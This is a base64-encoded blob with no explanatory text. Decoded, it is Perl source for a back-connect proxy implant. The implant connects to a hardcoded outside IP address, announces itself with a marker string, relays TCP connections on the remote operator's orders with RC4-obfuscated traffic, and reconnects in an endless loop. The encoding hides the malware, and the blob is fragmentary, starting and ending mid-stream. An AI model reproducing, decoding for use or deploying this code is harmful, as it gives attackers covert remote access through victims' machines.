1bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4yMDQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLC